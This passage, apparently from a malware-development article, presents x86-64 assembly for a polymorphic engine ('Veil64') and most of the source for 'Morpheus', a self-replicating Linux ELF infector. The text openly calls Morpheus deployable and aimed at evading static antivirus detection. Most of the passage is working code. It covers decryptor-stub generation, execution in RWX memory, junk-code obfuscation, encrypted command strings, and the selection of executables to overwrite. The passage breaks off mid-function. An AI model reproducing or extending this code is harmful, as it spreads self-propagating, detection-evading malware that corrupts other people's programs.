    mov eax, 0x22
    stosd

    ; mov r8,-1
    mov al, 0x49
    stosb
    mov al, 0xC7
    stosb
    mov al, 0xC0
    stosb
    mov eax, 0xFFFFFFFF
    stosd

    ; mov r9,0
    mov al, 0x4D
    stosb
    mov al, 0x31
    stosb
    mov al, 0xC9
    stosb

    ; syscall
    mov al, 0x0F
    stosb
    mov al, 0x05
    stosb
    ret

; generate decryption stub
stub_decrypt:
    ; mov rbx,rax (save mmap result)
    mov al, 0x48
    stosb
    mov al, 0x89
    stosb
    mov al, 0xC3
    stosb

    ; calculate RIP-relative offset to embedded engine
    mov r15, rdi

    mov rax, [rel p_entry]
    mov rdx, [rel stub_sz]
    test rdx, rdx
    jnz .usszz
    ; fallback calculation
    mov rdx, rdi
    sub rdx, [rel p_entry]
    add rdx, 100

.usszz:
    add rax, rdx                                ; engine position

    ; RIP-relative calculation
    mov rbx, r15
    add rbx, 7                                  ; after LEA instruction
    sub rax, rbx

    ; lea rsi,[rip+offset]
    mov al, 0x48
    stosb
    mov al, 0x8D
    stosb
    mov al, 0x35
    stosb
    stosd

    ; mov rcx,engine_size
    mov al, 0x48
    stosb
    mov al, 0xC7
    stosb
    mov al, 0xC1
    stosb
    mov rax, [rel engine_size]
    test rax, rax
    jnz .engine_sz
    mov rax, 512

.engine_sz:
    cmp rax, 65536
    jbe .size_ok
    mov rax, 65536

.size_ok:
    stosd

    ; mov rdx,stub_key
    mov al, 0x48
    stosb
    mov al, 0xBA
    stosb
    mov rax, [rel stub_key]
    stosq

    ; decryption loop
    mov r14, rdi

    ; test rcx,rcx
    mov al, 0x48
    stosb
    mov al, 0x85
    stosb
    mov al, 0xC9
    stosb

    ; jz done
    mov al, 0x74
    stosb
    mov al, 0x10
    stosb

    ; xor [rsi],dl
    mov al, 0x30
    stosb
    mov al, 0x16
    stosb

    ; rol rdx,7
    mov al, 0x48
    stosb
    mov al, 0xC1
    stosb
    mov al, 0xC2
    stosb
    mov al, 7
    stosb

    ; inc rsi
    mov al, 0x48
    stosb
    mov al, 0xFF
    stosb
    mov al, 0xC6
    stosb

    ; dec rcx
    mov al, 0x48
    stosb
    mov al, 0xFF
    stosb
    mov al, 0xC9
    stosb

    ; jmp loop
    mov al, 0xEB
    stosb
    mov rax, r14
    sub rax, rdi
    sub rax, 1
    neg al
    stosb

    ; copy to allocated memory
    ; mov rdi,rbx
    mov al, 0x48
    stosb
    mov al, 0x89
    stosb
    mov al, 0xDF
    stosb

    ; calculate engine position
    mov rax, [rel p_entry]
    mov rbx, [rel stub_sz]
    add rax, rbx

    ; RIP-relative offset
    mov rbx, rdi
    add rbx, 7
    sub rax, rbx

    ; lea rsi,[rip+offset]
    mov al, 0x48
    stosb
    mov al, 0x8D
    stosb
    mov al, 0x35
    stosb
    stosd

    ; mov rcx,engine_size
    mov al, 0x48
    stosb
    mov al, 0xC7
    stosb
    mov al, 0xC1
    stosb
    mov rax, [rel engine_size]
    test rax, rax
    jnz .engine_sz2
    mov rax, 256
.engine_sz2:
    stosd

    ; rep movsb
    mov al, 0xF3
    stosb
    mov al, 0xA4
    stosb

    mov al, RET_OPCODE
    stosb

    ret

bf_boo:
    push rbx

    mov rax, rdi
    sub rax, [rel p_entry]
    add rax, 300
    cmp rax, [rel sz]

    pop rbx
    ret

; generate runtime keys
gen_runtm:
    push rbx
    push rcx

    rdtsc                                       ; entropy from RDTSC
    shl rdx, 32
    or rax, rdx
    xor rax, [rel key]                          ; mix with user key

    mov rbx, rsp                                ; stack entropy
    xor rax, rbx

    call .get_rip                               ; RIP entropy
.get_rip:
    pop rbx
    xor rax, rbx

    rol rax, 13

    mov rbx, rax                                ; dynamic constant
    ror rbx, 19
    xor rbx, rsp
    add rax, rbx

    mov rbx, rax                                ; dynamic XOR
    rol rbx, 7
    not rbx
    xor rax, rbx

    mov [rel stub_key], rax

    rol rax, 7                                  ; secondary key
    mov rbx, 0xCAFE0F00
    shl rbx, 32
    or rbx, 0xDEADC0DE
    xor rax, rbx
    mov [rel sec_key], rax

    mov rax, [rel stub_key]                     ; ensure different from user key
    cmp rax, [rel key]
    jne .keys_different
    not rax
    mov [rel stub_key], rax
.keys_different:

    pop rcx
    pop rbx
    ret

; PRNG
next_random:
    push rdx
    mov rax, [rel seed]
    mov rdx, rax
    shl rdx, 13
    xor rax, rdx
    mov rdx, rax
    shr rdx, 17
    xor rax, rdx
    mov rdx, rax
    shl rdx, 5
    xor rax, rdx
    mov [rel seed], rax
    pop rdx
    ret

random_range:
    push rdx
    call next_random
    pop rcx
    test rcx, rcx
    jz .range_zero
    xor rdx, rdx
    div rcx
    mov rax, rdx
    ret
.range_zero:
    xor rax, rax
    ret

; random boolean
yes_no:
    call next_random
    and rax, 0xF
    cmp rax, 7
    setbe al
    movzx rax, al
    ret

; select random registers
get_rr:
    call next_random
    and rax, 7
    cmp al, REG_RSP
    je get_rr
    cmp al, REG_RAX                             ; avoid rax as base
    je get_rr
    mov [rel reg_base], al

.retry_count:
    call next_random
    and rax, 7
    cmp al, REG_RSP
    je .retry_count
    cmp al, REG_RAX                             ; avoid rax as count
    je .retry_count
    cmp al, [rel reg_base]
    je .retry_count
    mov [rel reg_count], al

.retry_key:
    call next_random
    and rax, 7
    cmp al, REG_RSP
    je .retry_key
    cmp al, [rel reg_base]
    je .retry_key
    cmp al, [rel reg_count]
    je .retry_key
    mov [rel reg_key], al

.retry_junk1:
    call next_random
    and rax, 15
    cmp al, REG_RSP
    je .retry_junk1
    mov [rel junk_reg1], al

.retry_junk2:
    call next_random
    and rax, 15
    cmp al, REG_RSP
    je .retry_junk2
    cmp al, [rel junk_reg1]
    je .retry_junk2
    mov [rel junk_reg2], al

.retry_junk3:
    call next_random
    and rax, 15
    cmp al, REG_RSP
    je .retry_junk3
    cmp al, [rel junk_reg1]
    je .retry_junk3
    cmp al, [rel junk_reg2]
    je .retry_junk3
    mov [rel junk_reg3], al
    ret

; select algorithm
set_al:
    call next_random
    and rax, 3
    mov [rel alg0_dcr], al
    ret

; generate prologue
gen_p:
    call gen_jmp
    call trash
    call yes_no
    test rax, rax
    jz .skip_trash1
    call trash
.skip_trash1:

    ; mov reg_key,key
    call gen_jmp
    mov al, 0x48
    stosb
    mov al, 0xB8
    add al, [rel reg_key]
    stosb
    mov byte [rel prolog_set], 1
    mov rax, [rel key]
    stosq

    call yes_no
    test rax, rax
    jz .skip_trash2
    call trash
.skip_trash2:
    ret

; generate decrypt loop
gen_dec:
    mov [rel jmp_back], rdi

    call trash
    call gen_jmp

    ; mov reg_base,rdi (data pointer)
    mov al, 0x48
    stosb
    mov al, 0x89
    stosb
    mov al, 0xF8
    add al, [rel reg_base]
    stosb

    call trash
    call gen_jmp

    ; mov reg_count,rsi (size)
    mov al, 0x48
    stosb
    mov al, 0x89
    stosb
    mov al, 0xF0
    add al, [rel reg_count]
    stosb

    call trash
    call gen_jmp

.decr_loop:
    movzx rax, byte [rel alg0_dcr]
    cmp al, 0
    je .gen_algo_0
    cmp al, 1
    je .gen_algo_1
    cmp al, 2
    je .gen_algo_2
    jmp .gen_algo_3

.gen_algo_0:
    ; add/rol/xor
    call gen_add_mem_key
    call trash
    call gen_trash
    call gen_rol_mem_16
    call trash
    call gen_trash
    call gen_xor_mem_key
    jmp .gen_loop_end

.gen_algo_1:
    ; xor/rol/xor
    call gen_xor_mem_key
    call trash
    call gen_trash
    call gen_rol_mem_16
    call trash
    call gen_trash
    call gen_xor_mem_key
    jmp .gen_loop_end

.gen_algo_2:
    ; sub/ror/xor
    call gen_sub_mem_key
    call trash
    call gen_trash
    call gen_ror_mem_16
    call trash
    call gen_trash
    call gen_xor_mem_key
    jmp .gen_loop_end

.gen_algo_3:
    ; xor/add/xor
    call gen_xor_mem_key
    call trash
    call gen_trash
    call gen_add_mem_key
    call trash
    call gen_trash
    call gen_xor_mem_key

.gen_loop_end:
    call trash
    call gen_jmp

    mov al, ADD_REG_IMM8
    stosb
    mov al, 0xC0
    add al, [rel reg_base]
    stosb
    mov al, 8
    stosb

    call trash
    call gen_jmp

    ; generate DEC instruction
    movzx rax, byte [rel reg_count]
    cmp al, 8
    jb .dec_no_rex
    mov al, 0x49                                ; rex.wb for r8-r15
    stosb
    movzx rax, byte [rel reg_count]
    sub al, 8
    jmp .dec_encode
.dec_no_rex:
    mov al, 0x48                                ; rex.w for rax-rdi
    stosb
    movzx rax, byte [rel reg_count]
.dec_encode:
    mov ah, 0xFF
    xchg al, ah
    stosw
    mov al, 0xC8
    add al, [rel reg_count]
    and al, 7
    stosb

    mov al, TEST_REG_REG
    stosb
    mov al, [rel reg_count]
    shl al, 3
    add al, [rel reg_count]
    add al, 0xC0
    stosb

    mov ax, JNZ_LONG
    stosw
    mov rax, [rel jmp_back]
    sub rax, rdi
    sub rax, 4
    neg eax
    stosd
    ret

; algorithm generators
gen_add_mem_key:
    call gen_jmp
    mov al, ADD_MEM_REG
    stosb
    mov dl, [rel reg_key]
    shl dl, 3
    mov al, [rel reg_base]
    add al, dl
    stosb
    ret

gen_sub_mem_key:
    call gen_jmp
    mov al, 0x48
    stosb
    mov al, 0x29
    stosb
    mov dl, [rel reg_key]
    shl dl, 3
    mov al, [rel reg_base]
    add al, dl
    stosb
    ret

gen_xor_mem_key:
    call gen_jmp
    mov ax, XOR_MEM_REG
    mov dl, [rel reg_key]
    shl dl, 3
    mov ah, [rel reg_base]
    add ah, dl
    stosw
    ret

gen_rol_mem_16:
    call gen_jmp
    mov al, 0x48
    stosb
    mov ax, ROL_MEM_IMM
    add ah, [rel reg_base]
    stosw
    mov al, 16
    stosb
    ret

gen_ror_mem_16:
    call gen_jmp
    mov al, 0x48
    stosb
    mov al, 0xC1
    stosb
    mov al, 0x08
    add al, [rel reg_base]
    stosb
    mov al, 16
    stosb
    ret

; basic junk
trash:
    call yes_no
    test rax, rax
    jz .skip_push_pop

    movzx rax, byte [rel junk_reg1]            ; push/pop junk
    cmp al, 8
    jb .push_no_rex
    mov al, 0x41
    stosb
    movzx rax, byte [rel junk_reg1]
    sub al, 8
.push_no_rex:
    add al, PUSH_REG
    stosb

    movzx rax, byte [rel junk_reg2]
    cmp al, 8
    jb .pop_no_rex
    mov al, 0x41
    stosb
    movzx rax, byte [rel junk_reg2]
    sub al, 8
.pop_no_rex:
    add al, POP_REG
    stosb
.skip_push_pop:

    call gen_jmp
    ret

; jumps
gen_jmp:
    call yes_no
    test rax, rax
    jz .short_jmp
    mov al, JMP_REL32
    stosb
    mov eax, 1
    stosd
    call next_random
    and al, 0xFF
    stosb
    jmp .jmp_exit
.short_jmp:
    mov al, JMP_SHORT
    stosb
    mov al, 1
    stosb
    call next_random
    and al, 0xFF
    stosb
.jmp_exit:
    ret

; self-modifying junk
gen_self:
    mov al, CALL_REL32
    stosb
    mov eax, 3
    stosd
    mov al, JMP_REL32
    stosb
    mov ax, 0x04EB
    stosw

    call next_random
    and rax, 2
    lea rdx, [rel junk_reg1]
    movzx rdx, byte [rdx + rax]

    mov al, POP_REG
    add al, dl
    stosb
    mov al, 0x48
    stosb
    mov al, 0xFF
    stosb
    mov al, 0xC0
    add al, dl
    stosb
    mov al, PUSH_REG
    add al, dl
    stosb
    mov al, RET_OPCODE
    stosb
    ret

; advanced junk procedures
gen_trash:
    call yes_no
    test rax, rax
    jz .try_proc2

    mov al, CALL_REL32
    stosb
    mov eax, 2
    stosd
    mov ax, 0x07EB
    stosw
    mov al, 0x55
    stosb
    mov al, 0x48
    stosb
    mov al, 0x89
    stosb
    mov al, 0xE5
    stosb
    mov ax, FNINIT_OPCODE
    stosw
    mov al, 0x5D
    stosb
    mov al, RET_OPCODE
    stosb
    jmp .exit_trash

.try_proc2:
    call yes_no
    test rax, rax
    jz .try_proc3

    mov al, CALL_REL32
    stosb
    mov eax, 2
    stosd
    mov ax, 0x0AEB
    stosw
    mov al, 0x60
    stosb
    mov eax, 0xD12BC333
    stosd
    mov eax, 0x6193C38B
    stosd
    mov al, 0x61
    stosb
    mov al, RET_OPCODE
    stosb
    jmp .exit_trash

.try_proc3:
    call yes_no
    test rax, rax
    jz .exit_trash

    mov al, CALL_REL32
    stosb
    mov eax, 2
    stosd
    mov eax, 0x525010EB
    stosd
    mov ax, 0xC069
    stosw
    mov eax, 0x90
    stosd
    mov al, 0x2D
    stosb
    mov eax, 0xDEADC0DE
    stosd
    mov ax, 0x585A
    stosw
    mov al, RET_OPCODE
    stosb

.exit_trash:
    ret

; dummy procedures
gen_dummy:
    call yes_no
    test rax, rax
    jz .skip_dummy

    mov al, CALL_REL32
    stosb
    mov eax, 15
    stosd

    mov al, 0x48
    stosb
    mov al, TEST_REG_REG
    stosb
    mov al, 0xC0
    stosb

    mov al, JZ_SHORT
    stosb
    mov al, 8
    stosb

    mov al, 0x55
    stosb
    mov al, 0x48
    stosb
    mov al, 0x89
    stosb
    mov al, 0xE5
    stosb

    mov ax, FNINIT_OPCODE
    stosw
    mov ax, FNOP_OPCODE
    stosw

    call next_random
    and rax, 0xFF
    mov al, 0x48
    stosb
    mov al, 0xB8
    stosb
    stosq

    mov al, 0x5D
    stosb
    mov al, RET_OPCODE
    stosb

.skip_dummy:
    ret

; execute generated stub
exec_c:
    push rbp
    mov rbp, rsp
    sub rsp, 32
    push rbx
    push r12
    push r13
    push r14
    push r15

    mov r12, rdi                                ; stub code
    mov r13, rsi                                ; stub size
    mov r14, rdx                                ; payload data

    ; validate input
    test r12, r12
    jz .error
    test r13, r13
    jz .error
    cmp r13, 1
    jb .error
    cmp r13, 65536
    ja .error

    mov rax, 9                                  ; mmap
    mov rdi, 0
    mov rsi, r13
    add rsi, 4096                               ; padding
    mov rdx, 0x7                                ; rwx
    mov r10, 0x22                               ; private|anon
    mov r8, -1
    mov r9, 0
    syscall

    cmp rax, -1
    je .error
    test rax, rax
    jz .error
    mov rbx, rax

    ; copy stub to executable memory
    mov rdi, rbx
    mov rsi, r12
    mov rcx, r13
    rep movsb

    ; execute stub
    cmp rbx, 0x1000
    jb .error
    call rbx

    ; cleanup
    mov rax, 11                                 ; munmap
    mov rdi, rbx
    mov rsi, r13
    add rsi, 4096
    syscall

    mov rax, 1                                  ; success
    jmp .done

.error:
    xor rax, rax

.done:
    pop r15
    pop r14
    pop r13
    pop r12
    pop rbx
    add rsp, 32
    pop rbp
    ret

Current Limitations

At present, it is strictly limited to Linux x64 because of direct syscall dependencies: the mmap usage is customized for Linux, and register conventions are bound to x64. Porting to Windows would require adapting calling conventions and likely rewriting large parts of the engine logic. macOS has its own syscall numbers and memory protection details, so it would not run with simple changes.

The algorithm set is deliberately limited to four variants. This scale is sufficient to prove the concept without making the system overly complex or fragile. Expanding to dozens of equivalent variants is feasible but significantly increases the risk of introducing bugs and requires careful balancing of complexity and correctness.

There is currently no runtime recompilation mechanism: each variant is generated once and remains static during execution. Self-modifying variants could further improve evasion but introduce instability and substantially raise implementation cost.

Future directions could include:

Adding a syscall abstraction layer for true cross-platform support (Linux, Windows, macOS).
Expanding the algorithm set and improving encryption/obfuscation (currently quite crude in this area).
Building a dynamic rewriting engine that supports self-modifying payloads.

Even in its current form, it has already achieved the core goals: functional correctness, deep signature diversity, entropy-driven key generation, intelligent junk injection, and multi-layered polymorphic structure. Implementation details can vary, but these foundational principles remain stable.

This is a foundational polymorphic engine, intentionally designed to be “usable and clear.” You can use it first to understand the core techniques, then build upon it. Once you internalize these layers of entropy, obfuscation, and instruction encoding, you can take it in any direction you choose.

What Truly Makes Code Mutable

Metamorphic code is more than obfuscation — it rewrites itself. On every execution, it parses its own binary, locates mutable regions, and replaces them with semantically equivalent but syntactically different instruction sequences.

For a simple task like clearing a register, you can use XOR RAX, RAX, SUB RAX, RAX, MOV RAX, 0, or even PUSH 0; POP RAX. Same effect, different opcodes. To a static scanner, these are often unrelated.

A metamorphic engine exploits this by maintaining an instruction-level replacement catalog. Each iteration applies randomized transformations: register renaming, safe reordering of instructions, junk code insertion, and control-flow reconstruction. Logic remains unchanged, but layout continuously evolves.

Combined with replication propagation, each infected binary carries mutations from its “parent” and adds new mutations during infection. Over time, this creates a family of functionally equivalent but structurally distinct samples. No fixed signatures, no stable patterns — only continuous evolution at the opcode level. This is why it is often called “assembly heaven.”

Classic Reference: MetaPHOR

In 2002, there was a very solid article dissecting metamorphic engine structure: The Mental Driller’s “How I Made MetaPHOR and What I’ve Learned.” Yes, 2002 — ancient by today’s standards, but the core principles remain strikingly relevant. Some adaptation is needed for modern systems, but the underlying mechanisms are still solid.

Polymorphism focuses on camouflage: adjusting the decryptor, wrapping the payload, keeping the core static. Metamorphism discards the shell and directly modifies the interior. It disassembles complete code blocks, rewrites them from scratch, and reassembles the binary — producing new logical layouts, altered control flow, and shifted instruction patterns. Every landing looks different.

It is not just renaming registers or sprinkling NOPs. It is full-code-level mutation — deep structural churning that leaves no stable anchor points for static fingerprints.

— Disassembly and Shrinking —

To mutate, a virus (VX) must first disassemble itself into an internal pseudo-assembly format — a custom abstraction layer that makes original opcodes readable and transformable. It breaks apart its instruction stream, decodes jumps, calls, and conditional branches, then maps control flow into manageable data structures.

After disassembly, the code is written into a memory buffer. Pointer tables are built for jump targets, call destinations, and other critical control elements to ensure relationships are not broken during rewriting.

Next comes the shrinker. This stage scans for bloated instruction sequences and compresses them into minimal equivalent forms.

Original Instruction	Compressed Instruction	Description
MOV reg, reg	NOP	Dead operation with no effect
XOR reg, reg	MOV reg, 0	Clear the register

The shrinker’s job is to trim fat: fold redundant chains, clean up leftovers, and free space for the next round of mutation.

— Permutation and Expansion —

After shrinking comes the permutator. Its task is shuffling: reordering instructions and injecting entropy while keeping logic intact, making layout unpredictable.

It also replaces equivalent instructions: same result, different operation.

Following permutation is the expander — the opposite of the shrinker. It expands single instructions into equivalent two- or three-instruction sequences. Recursive expansion continuously increases code complexity.

Control variables impose hard limits to prevent unbounded growth.

Finally, the assembler finishes the job: it reassembles the mutated code back into valid machine code.

Only after completing this loop does the VX become a structurally unique but functionally complete new variant. Payload unchanged, appearance brand new.

— Generational Generation —

You have seen how we do this in polymorphism: injecting junk code and replacing registers. Metamorphic thinking is similar but goes much deeper.

When the VX completes its self-rewrite in memory, it writes the new variant back to disk. Every execution produces a “new copy” containing random junk code and rewritten logic.

vx-junk-disasm

Notice those JUNK macro calls? They are randomly scattered. Each is a marker — a hook point that can be safely modified. Smart Trash: deliberately useless, designed specifically to interfere with disassemblers and scanners.

We use a dedicated scanning function to handle them. It traverses the code, looks for PUSH/POP patterns on the same registers (spaced 8 bytes apart), and marks the hit locations. Once marked, these junk segments are overwritten with new, harmless, randomized replacement sequences.

This loop is the core. It hunts for JUNK sequences and replaces them with new random instruction chains on every run. Each JUNK call marks a modifiable slot — essentially a sandboxed code region for generational mutation. Behavior harmless, structure chaotic.

After mutation completes, the VX propagates by copying the new variant into executable files discovered in the same directory. The copy has changed structure but unchanged behavior. True polymorphic/metamorphic malware is not about “fooling AV once,” but about continuous mutation — reshaping the binary with every “breath.” As long as logic remains intact and structure keeps changing, static detection struggles to gain a foothold.

This is only the minimal viable set, covering the key mechanisms. It demonstrates the core path that allows VX code to mutate and survive. There is much more to deeper content, but this is the foundation.

Morpheus

Now it is time for the code I mentioned alongside Veil64 to make its appearance.

Morpheus applies metamorphic principles to a real, runnable virus infector. This is not a theoretical demonstration — it is practical and deployable. It shows how a mutation engine can work end-to-end without relying on encryptors or packers.

The core idea is simple: Morpheus treats its own executable code the way a crypter treats a payload. It loads itself into memory, scans for known patterns, applies transformations, then writes out a mutated version that accomplishes the same tasks with different instruction sequences.

On every run, Morpheus roughly does the following:

Extracts obfuscated strings and executes its logic
Loads its own .text section
Disassembles code blocks
Identifies mutation points (NOPs, junk patterns, simple MOV/XOR operations, etc.)
Applies transformations (register shuffling, instruction replacement, code block reordering or expansion)
Generates structurally different but logically consistent code
Writes the mutated binary to a new target (usually another ELF in the same directory)
Patches headers as needed to keep it executable

Every generation is truly different — not just added junk and register swaps, but substantive structural change — while the payload and functionality remain fully intact. This allows Morpheus to self-replicate on every execution, rendering static signature detection unreliable. Combined with runtime transformation and actual rewriting of files on disk, traditional scanning methods struggle to track it consistently.

Junk code is always a balancing act. In Veil64 we used relatively basic junk padding. Here is a 10-byte sequence that has zero net effect but can easily be mistaken for compiler-generated register preservation code:

PUSH RAX
PUSH RBX
XCHG RAX, RBX
XCHG RAX, RBX
POP RBX
POP RAX

Morpheus makes heavy use of such sequences. The JUNK macro marks these blocks, and on every execution the engine scans and replaces them with structurally different but functionally equivalent junk patterns.

We implemented four register combinations for smart junk patterns. Each variant follows the same logic but uses different register pairs, producing unique byte sequences. These variants are functionally identical with zero side effects, yet their binary signatures change completely.

String Encryption

All strings are encrypted to evade static signature detection. I used a simple XOR scheme: each string gets its own key, and decryption is a single XOR pass. Why XOR? Because it is fast.

Decryption runs once at startup. To add extra resistance, I included INT3 trap shellcode to disrupt debugger flow.

— Infection —

During the infection stage, we scan the directory for ELF binaries. The scanner performs several basic checks to filter out garbage files and retain only viable ELF executable targets (regular files, no hidden files, valid ELF magic, executable and writable permissions).

Before any overwrite, it creates a hidden backup prefixed with .morph8. If the backup already exists, infection is skipped — acting as an “already morphed” marker.

— Morpheus Engine —

;;
;;     M O R P H E U S   [ polymorphic ELF infector ]
;;     ------------------------------------------------
;;     stealth // mutation // syscall-only // junked //
;;     ------------------------------------------------
;;     0xBADC0DE // .morph8 // Linux x86_64 // 0xf00sec
;;

%define PUSH 0x50
%define POP 0x58
%define MOV 0xB8
%define NOP 0x90
%define REX_W 0x48
%define XCHG_OP 0x87
%define XCHG_BASE 0xC0

%define ADD_OP 0x01
%define AND_OP 0x21
%define XOR_OP 0x31
%define OR_OP 0x09
%define SBB_OP 0x19
%define SUB_OP 0x29

%define JUNKLEN 10

; push rax,rbx; xchg rax,rbx; xchg rax,rbx; pop rbx,rax
%macro JUNK 0
    db 0x50, 0x53, 0x48, 0x87, 0xC3, 0x48, 0x87, 0xC3, 0x5B, 0x58
%endmacro

section .data

; ELF header
ELF_MAGIC       dd 0x464C457F
ELF_CLASS64     equ 2
ELF_DATA2LSB    equ 1
ELF_VERSION     equ 1
ELF_OSABI_SYSV  equ 0
ET_EXEC         equ 2
ET_DYN          equ 3
EM_X86_64       equ 62

prefixes db ADD_OP, AND_OP, XOR_OP, OR_OP, SBB_OP, SUB_OP, 0

bin_name times 256 db 0
orig_exec_name times 256 db 0
msg_cat db " /\_/\ ",10
        db "( o.o )",10
        db " > ^ <",10,0                    ; payload
current_dir db "./",0
; encrypted strings
cmhd                db 0x36, 0x3D, 0x38, 0x3A, 0x31, 0x75, 0x7E, 0x2D, 0x75, 0x70, 0x26, 0x55     ; "chmod +x %s"
tchh                db 0xAF, 0xA4, 0xA1, 0xA3, 0xA8, 0xEC, 0xE7, 0xB4, 0xEC, 0xE9, 0xBF, 0xCC     ; "chmod +x %s"
touc                db 0xDE, 0xC5, 0xDF, 0xC9, 0xC2, 0x8A, 0x8F, 0xD9, 0xAA                         ; "touch %s"
cpcm                db 0x9C, 0x8F, 0xDF, 0xDA, 0x8C, 0xDF, 0xDA, 0x8C, 0xFF                         ; "cp %s %s"
hidd                db 0x59, 0x1A, 0x18, 0x05, 0x07, 0x1F, 0x4F, 0x77                               ; ".morph8"
exec                db 0x1D, 0x1C, 0x16, 0x40, 0x33                                                 ; "./%s"
vxxe                db 0xFE, 0xF0, 0xF0, 0x88                                                       ; "vxx"

xor_keys            db 0xAA, 0x55, 0xCC, 0x33, 0xFF, 0x88, 0x77
vierge_val          db 1                                                                           ; first generation marker
signme              dd 0xF00C0DE                                                                   ; PRNG seed

section .bss
    code            resb 65536      ; viral body
    codelen         resq 1
    vierge          resb 1          ; generation flag
    dir_buf         resb 4096
    temp_buf        resb 1024
    elf_header      resb 64

; runtime decrypted strings
touch_cmd_fmt resb   32
chmod_cmd_fmt resb   32
touch_chmod_fmt resb 32
exec_cmd_fmt resb    32
cp_cmd_fmt resb      32
vxx_str resb         8
hidden_prefix resb   16

section .text
    global _start

%define SYS_read      0
%define SYS_write     1
%define SYS_open      2
%define SYS_close     3
%define SYS_exit      60
%define SYS_lseek     8
%define SYS_getdents64 217
%define SYS_access    21
%define SYS_getrandom 318
%define SYS_execve    59
%define SYS_fstat     5
%define SYS_mmap      9
%define SYS_brk       12
%define SYS_fork      57
%define SYS_wait4     61

%define F_OK 0
%define X_OK 1
%define W_OK 2

%define O_RDONLY 0
%define O_WRONLY 1
%define O_RDWR   2
%define O_CREAT  64
%define O_TRUNC  512

%define PROT_READ  1
%define PROT_WRITE 2
%define MAP_PRIVATE 2
%define MAP_ANONYMOUS 32

section .rodata
    shell_path db "/bin/sh",0
    sh_arg0 db "sh",0
    sh_arg1 db "-c",0

; syscall wrappers with junk insertion

sys_write:
    mov rax, SYS_write
    JUNK
    syscall
    ret

sys_read:
    mov rax, SYS_read
    JUNK
    syscall
    ret

sys_open:
    mov rax, SYS_open
    JUNK
    syscall
    ret

sys_close:
    mov rax, SYS_close
    syscall
    ret

sys_lseek:
    mov rax, SYS_lseek
    syscall
    ret

sys_access:
    mov rax, SYS_access
    syscall
    ret

sys_getdents64:
    mov rax, SYS_getdents64
    syscall
    ret

sys_exit:
    mov rax, SYS_exit
    syscall

; validate ELF executable target
is_elf:
    push r12
    push r13

    mov rsi, O_RDONLY
    xor rdx, rdx
    call sys_open
    test rax, rax
    js .not_elf
    mov r12, rax

    mov rdi, r12
    mov rsi, elf_header
    mov rdx, 64
    call sys_read

    push rax
    mov rdi, r12
    call sys_close
    pop rax

    cmp rax, 64
    jl .not_elf

    ; validate ELF magic
    mov rsi, elf_header
    cmp dword [rsi], 0x464C457F
    jne .not_elf

    ; 64-bit only
    cmp byte [rsi + 4], 2
    jne .not_elf

    ; executable or shared object
    mov ax, [rsi + 16]
    cmp ax, 2
    je .valid
    cmp ax, 3
    jne .not_elf

.valid:
    mov rax, 1
    jmp .done

.not_elf:
    xor rax, rax

.done:
    pop r13
    pop r12
    ret

; string utilities

basename:                           ; extract filename from path
    mov rax, rdi
    mov rsi, rdi
.find_last_slash:
    mov bl, [rsi]
    cmp bl, 0
    je .done
    cmp bl, '/'
    jne .next_char
    inc rsi
    mov rax, rsi
    jmp .find_last_slash
.next_char:
    inc rsi
    jmp .find_last_slash
.done:
    ret

strlen:
    mov rdi, rdi
    xor rcx, rcx
.strlen_loop:
    cmp byte [rdi + rcx], 0
    je .strlen_done
    inc rcx
    jmp .strlen_loop
.strlen_done:
    mov rax, rcx
    ret

strcpy:
    mov rdi, rdi
    mov rsi, rsi
    mov rax, rdi
.cp_loop:
    mov bl, [rsi]
    mov [rdi], bl
    inc rdi
    inc rsi
    cmp bl, 0
    jne .cp_loop
    ret

strcmp:
    push rdi
    push rsi
.cmp_loop:
    mov al, [rdi]
    mov bl, [rsi]
    cmp al, bl
    jne .not_equal
    test al, al
    jz .equal
    inc rdi
    inc rsi
    jmp .cmp_loop
.equal:
    xor rax, rax
    jmp .done
.not_equal:
    movzx rax, al
    movzx rbx, bl
    sub rax, rbx
.done:
    pop rsi
    pop rdi
    ret

strstr:
    mov r8, rdi
    mov r9, rsi

    mov al, [r9]
    test al, al
    jz .found

.scan:
    mov bl, [r8]
    test bl, bl
    jz .not_found

    cmp al, bl
    je .check_match
    inc r8
    jmp .scan

.check_match:
    mov r10, r8
    mov r11, r9

.match_loop:
    mov al, [r11]
    test al, al
    jz .found

    mov bl, [r10]
    test bl, bl
    jz .not_found

    cmp al, bl
    jne .next_pos

    inc r10
    inc r11
    jmp .match_loop

.next_pos:
    inc r8
    jmp .scan

.found:
    mov rax, r8
    ret

.not_found:
    xor rax, rax
    ret

; PRNG
get_random:
    mov eax, [signme]
    mov edx, eax
    shr edx, 1
    xor eax, edx
    mov edx, eax
    shr edx, 2
    xor eax, edx
    mov [signme], eax
    ret

get_range:                          ; random in range 0-ecx
    call get_random
    xor edx, edx
    div ecx
    mov eax, edx
    ret

; decrypt string with indexed key
d_strmain:
    push rax
    push rbx
    push rcx
    push rdx
    push r8

    mov r8, xor_keys
    add r8, rcx
    mov al, [r8]

    mov rcx, rdx

    ; clear dest buffer
    push rdi
    push rcx
    mov rdi, rsi
    mov rcx, rdx
    xor bl, bl
    rep stosb
    pop rcx
    pop rdi

.d_loop:
    test rcx, rcx
    jz .d_done

    mov bl, [rdi]
    xor bl, al
    mov [rsi], bl

    inc rdi
    inc rsi
    dec rcx
    jmp .d_loop

.d_done:
    pop r8
    pop rdx
    pop rcx
    pop rbx
    pop rax
    ret

; decrypt all strings at runtime
d_str:
    push rdi
    push rsi
    push rdx
    push rcx

    mov rdi, touc
    mov rsi, touch_cmd_fmt
    mov rdx, 9
    mov rcx, 0
    call d_strmain

    mov rdi, cmhd
    mov rsi, chmod_cmd_fmt
    mov rdx, 12
    mov rcx, 1
    call d_strmain

    mov rdi, tchh
    mov rsi, touch_chmod_fmt
    mov rdx, 12
    mov rcx, 2
    call d_strmain

    mov rdi, exec
    mov rsi, exec_cmd_fmt
    mov rdx, 5
    mov rcx, 3
    call d_strmain

    mov rdi, cpcm
    mov rsi, cp_cmd_fmt
    mov rdx, 9
    mov rcx, 4
    call d_strmain

    mov rdi, vxxe
    mov rsi, vxx_str
    mov rdx, 4
    mov rcx, 5
    call d_strmain

    mov rdi, hidd
    mov rsi, hidden_prefix
    mov rdx, 8
    mov rcx, 6
    call d_strmain

    pop rcx
    pop rdx
    pop rsi
    pop rdi
    ret

; 4 variants
spawn_junk:
    push rbx
    push rcx
    push rdx
    push r8

    mov r8, rdi               ; dst buffer

    call get_random
    and eax, 3                ; 4 variants

    cmp eax, 0
    je .variant_0
    cmp eax, 1
    je .variant_1
    cmp eax, 2
    je .variant_2
    jmp .variant_3

.variant_0:
